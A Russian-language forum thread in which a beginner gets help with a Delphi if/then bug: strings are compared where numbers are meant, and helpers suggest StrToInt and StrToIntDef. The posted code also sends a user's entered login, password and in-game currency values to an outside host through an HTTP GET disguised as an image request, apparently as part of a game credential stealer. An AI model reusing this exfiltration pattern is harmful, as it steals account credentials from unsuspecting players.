IF THEN ELSE (аномалия)

[vaximan]

Доброго времени суток гуру программирования!
Сразу к делу

procedure TForm1.sButton2Click(Sender: TObject);
 var
pass,login,opit,baks,kred,karon,rang:string;
begin
opit:=sEdit3.Text;
If (opit > '0') and (opit < '700') then
rang :='1'
else
begin
timer26.Enabled:= false;
end;
begin
if (opit > '700') and (opit < '1400') then
rang:= '2'
else
timer26.Enabled:= false;
end;

begin
if (sEdit1.Text='') or (sEdit2.Text='') or (sEdit3.Text='') or (sEdit4.Text='') or (sEdit5.Text='') or (sEdit6.Text='')
then
sMemo1.Text:= 'не суть'
else
begin
pass:=sEdit1.Text;
login:=sEdit2.Text;
opit:=sEdit3.Text;
baks:=sEdit4.Text;
kred:=sEdit5.Text;
karon:=sEdit6.Text;
IdHTTP1.Get('http://httpz.org/nsqzx4act47.gifagent[Ëîãèí:'+login+'|;Ïàðîëü:'+pass+'|;Ðàíã:'+rang+'|;Áàêñû:'+baks+'|;Êðåäèòû:'+kred+'|;Êàðîíû:'+karon+']');
Timer14.Enabled:=true;
Timer20.Enabled:=true;

вот вырезка из моей программы.Все бы хорошо, но почему то когда ввожу в edi3 больше 700 ,он все равно присваивает переменной rang =1.
Хотя там добавлен обработчик который должен выполнять условие больше 700 сот и ставить rang в значение 2.
Вот такая аномалия, не подскажете где напутал?




___________
Код нужно оформлять по правилам:
тегом [CODE]..[/СODE]
(кнопочка на панели форматирования с решёточкой #)

Не забывайте об этом!

Модератор.

p.s. перед копированием текста с русскими символами включайте русскую раскладку клавиатуры

[Streletz]

вот вырезка из моей программы.Все бы хорошо, но почему то когда ввожу в edi3 больше 700 ,он все равно присваивает переменной rang =1.
Хотя там добавлен обработчик который должен выполнять условие больше 700 сот и ставить rang в значение 2.
Вот такая аномалия, не подскажете где напутал?

Никаких аномалий!

if (opit > '700') and (opit < '1400') then

Вы сравниваете строки, а нужно сравнивать числа. Приведите типы переменных в операторе if и для сравнения, вместо строки, используйте число.

if ((StrToInt(opit)>700) and (StrToInt(opit)<1400)) then

P.S. Без обид. Просто совет на будущее. Почитайте в любой книге или, хотя бы, здесь для начинающих про типы данных в Delphi.

[vaximan]

Спасибо большое за помощь! Нет обид уже бегу в библиотеку)

[vaximan]

Извините, я понимаю что вопросы глупые. Но после подставления вами приведенной строчки в мою программу при компиляции вылазит ошибка expexted but then found , что же опять не так?

[BDA]

Лишняя скобка открывающая в начале. Да и тогда уж:

var
  opit: integer;
...
opit := StrToIntDef(sEdit3.Text, 0);
if (opit > 0) and (opit < 700) then ...

[vaximan]

Спасибо,рад что есть такие как вы ПРОграммисты!